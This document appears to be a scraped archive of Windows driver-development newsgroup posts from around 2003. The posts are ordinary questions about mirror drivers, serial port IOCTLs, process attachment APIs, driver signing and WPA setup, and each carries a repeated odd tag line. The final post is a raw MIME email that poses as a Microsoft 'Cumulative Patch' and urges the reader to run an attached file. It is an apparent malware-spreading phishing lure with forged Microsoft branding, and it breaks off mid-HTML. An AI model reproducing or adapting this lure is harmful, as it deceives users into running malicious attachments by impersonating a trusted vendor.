Mirror.dll
I have a quick question. In looking at the mirror sample more closely it
looks like you can specify any miniport file (.sys) but the system will only
use mirror.dll for a mirror driver. Is this correct? Also, where are some
sample INF files for installing a complete video driver?
Thanks
--
Brian V. Minier
Interactive Imaging Systems, Inc
www.iisvr.com Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33382
IRP_MJ_DEVICE_CONTROL for serial port
Hi
I have a virtual serial port up and running.
I have searched high and low, but I cant seem to find any documentation on
what codes are used for IRP_MJ_DEVICE_CONTROL
What does the major, minor and flags mean ?
TIA
Lars Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33373
Registry entries for a serial port
Hi gurus
I have a virtual port up and running, seems to install and work fine.
Problem is, that ex HyperTerminal expects an registry entry
HKLM / HARDWARE / DEVICEMAP / SERIALCOMM / COMx
How is this entry generated ?
Do I miss a line in my INF file ?
TIA
Lars Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33372
USB Disk
Hello:
How can I check a USB disk is online or not from my application?
Any suggestion or reference, documents, URL.....please.
Thank you very much.
Willie. Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33371
KeStackAttachProcess
Hi! I have a problem with porting driver(none plug and
plug driver) from w2k(nt) to w2k3.
We used ntddk when developing w2k product.
I am going to porting this product to w2k3 using w2k3 ddk.
PsLookupProcessByProcessId, KeAttachProcess,
KeDetachProcess, ObDereferenceObject functions were used
in W2K version to get process information.
But in W2K3 ddk, KeAttachProcess and KeDetachProcess
function are obsolete.
In some documentation, they say that "Use
KeStackAttachProcess and KeUnstackDetachProcess function
instead of them".
As I know, KeStackAttachProcess and KeUnstackDetachProcess
function are undocumented. I searched these functions in
Web sites but I couldn't find how to use.
Please let me know how to use these functions.
I have been troubled with with this problem for several
weeks. ^^;;;;;
In W2K, I used as follows.
typedef PVOID POBJET;
/*==== FORWARD DEFINES ===================*/
NTSYSAPI NTSTATUS NTAPI PsLookupProcessByProcessId(IN
ULONG ProcessId, OUT POBJECT * object);
NTSYSAPI NTSTATUS NTAPI KeAttachProcess(POBJECT Process);
Thank you for your help in advance. Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33369
problem with installing signed driver
Hi,
I have a setup program that will install a Wireless LAN
driver that is digitally signed. I am using
SetupCopyOemInf() & while the function is executing, it
does it silently (it does not complain that the driver
isn't signed). Later on when a hardware scan is done &
when the DeviceManager is trying to install the driver, I
get this message that the driver isn't signed.
I checked for the files & i see that the inf file is
copied as oem0.inf in \windows\inf & the cat file as
oem0.cat under \windows\system32\catroot\{some guid}. What
else does the installer need?
TIA
HV Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33365
To AVStream or not to AVStream
I am involved in a USB2 camera project and am trying to decide if it makes
sense to attempt to fit into the standard Microsoft video framework or to
use a proprietary approach. A second company is making this camera for me
and is going to be responsible for the driver. I will be responsible for
integrating the result into our product. Both of us are broadly (albeit
somewhat shallowly) experienced with writing KM/hardware driver code but
have very little experience with the ins and outs of AVStream drivers.
The camera has programmable image size and frame rate from 640x480 at ~60Hz
to 640x1 at kHz. There are also much slower rates with integration and
what-not. Also the pixel bit size can change from 8 to 10 bits depending on
the pixel clock. There are various other bells and whistles. It is highly
desirable handle images on a image by image basis in kernel mode for
realtime processing purposes (this may even be essential at the highest
frame rates).
My question is, does it make sense to try and do this via a AVStream/KS1
style driver or is it better to just create a completely proprietary
interface to the driver? My gut reaction is to push for a AVStream style
driver and we have experimented with this some using usbcam2. The problems
thus far are (from the driver side) dealing with the custom properties for
the camera and being a kernel streaming (or whatever the AVStream term is)
server, and (from my client side) being a ks client. On the last point (ks
client), I understand there is nearly zero documentation. I am prepared to
hunker down with the docs and try to figure this out and (or) hire a
consultant but if the answer is going to be "this won't work" then I can cut
to the chase and just go for a proprietary interface. This would certainly
be easier in the short run.
If the answer is to go for the AVStream style device, are there any
consultants reading this list who are familiar with such a project - both
from the device driver side and the client side?
Regards,
Tom Udale Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33363
How to disable printing services to detect ECP support
I currently have an option to detect ECP support during
setup of a print driver on Windows 2000 and XP. The
current implementation requires all print drivers to be
moved off of the selected parallel port because I just open
the port and issue IOCTL calls to verify which ECP modes
are supported. I would like to detect ECP compatibility
without any extra user intervention. First is their an
easy way to detect if the computer's BIOS has support for
ECP. If not is there an easy way to disable Windows'
printing services to gain access to the parallel port.
Just stopping the spooler service does not release the
ports so there must be some other way to temporarily stop
print drivers.
Thanks,
Tom Olinger Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33357
MmMapLockedPagesSpecifyCache Fails on Server 2003
My driver uses MmMapLockedPagesSpecifyCache to map a
memory allocation from the non paged pool to a user
virtual address. This has worked fine in the past, but
now I have found an Enterprise Server 2003 machine that
fails the call.
This driver is deployed on thousands of W2K and XP
machines, and even works on some Server 2003 machines.
Is there something new on Server 2003 that I should be
aware of?
Thanks
Harry Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33353
Cannot programmatically get a valid connection to a WPA enabled access point.
I am extending our wifi application to support WPA enabled cards and
access points. The code that I am trying does not give a valid DHCP
address, and hence I am not connected. I presume I can do this
through an application and do not have to be a driver. I am currently
using the PCAUSA libraries to communicate with the drivers.
I am currently trying to connect to a WPA enabled access point. The
access point has the authentication set as WPA-PSK, and it uses TKIP
data encryption. The card that we use supports WPA and supports TKIP
data encryption.
I am doing the following to connect to a WPA enabled access point.
Setting the InfrastuctureMode to Ndis802_11Infrastructure.
Setting the AuthenticationMode to Ndis802_11AuthModeWPAPSK.
Setting the EncryptionStatus to Ndis802_11Encryption2Enabled.
I then set the SSID of the access point.
Each of the above statements execute properly and do not return an
error, and when queried, return the appropiate value. At this point I
query connection status and it states that it is connected to the
access point.
At this point I have not added the key, which I think maybe where the
problem is.
int iLength = sizeof (NDIS_802_11_KEY) + 10;
PNDIS_802_11_KEY pKey = (PNDIS_802_11_KEY) new UCHAR[iLength];
memset(pKey,0,iLength);
pKey->KeyIndex = 0x80000001;
pKey->Length = iLength;
pKey->KeyLength = 10;
memcpy(pKey->KeyMaterial,”0123456789”,10);
memcpy(pKey->BSSID,BSSID,sizeof(NDIS_802_11_MAC_ADDRESS));
Even though setting the above key with the OID_802_11_ADD_KEY returns
a success, I still do not get a valid DHCP address.
Could someone tell me what I am missing, or if I have got the order of
execution incorrectly. I have read the Microsoft
802_11_network_adapter_v21.doc, but still am stuck.
Shane Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33351
pcmcia in xp
I've got a custom pcmcia R2 16bit card that has been used
in 95/98 previously. It is PCMCIA 2.1 compliant and looks
mostly like a flash card. Its tuples are incomplete with
respect to its required resource but everything else is
there (CISTPL_DEVICE, CISTPL_JEDEC_C, CISTPL_DEVICE_GEO,
CISTPL_VERS_1, CISTPL_FUNCID, CISTPL_CONFIG (.
Now, our customer wants to upgrade to xp. The driver
itself is not my problem. When I insert the card into my
xp machine, the machine hangs ... hard. CTRL-ALT-DEL
doesn't work, I can't break into Soft-Ice ... nothing,
dead as a door nail. Unfortunately, my hardware guy is on
vacation for another week and a half, and I'd rather not
wait until he gets back. Has anyone seen anything like
this with ANY pcmcia card? Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33344
alid@microsoft.com
Hi!
Did you received my last two letters in m.p.d.drivers? Its about
NdisMIndicateStatus filtering in IM drivers - I did tests with Mux and
had posted the result.
---
P.s. remove PI number from "reply-to" while answering... Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33342
OS Initial Memory Allocation
I have two identical machines. One is running W2K and the
other is running 2003.
On the W2K machine, there is 512MB of memory; of that
60632 KB is allocated to Kernel Memory. On the 2003
machine, there is 512MB, only 17,884KB gets allocated to
kernel memory.
Why is this and is there a way to change the allocation? Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33340
Accessing hardware from user-mode ?
Hi all,
Is it safe to access the hardware device registers from a user-mode
application ?
Is it the good way to develop a device driver and to avoid the complexity of
a kernel implementation ?
Thanks,
Ronan. Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33338
accessing hardware in user-mode
Hi all,
Is it safe to access the hardware device registers from a user-mode
application ?
Is it the good way to develop a device driver and to avoid the complexity of
a kernel implementation ?
Thanks,
Ronan. Tag: Printer Driver: gdiinfo.denStyleStep Tag: 33336
FWD: Install the security package
--lfmcgnvuhaulag
Content-Type: multipart/related; boundary="ajcagtvfdpdi";
type="multipart/alternative"
--ajcagtvfdpdi
Content-Type: multipart/alternative; boundary="ewjsrfxnissgkh"
--ewjsrfxnissgkh
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
MS User
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to help protect your computer
from these vulnerabilities.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
--ewjsrfxnissgkh
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:xcbrctu" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
MS User<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to help protect your computer
from these vulnerabilities.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:qioxwpa" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:qioxwpa" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:qioxwpa" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:qioxwpa" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file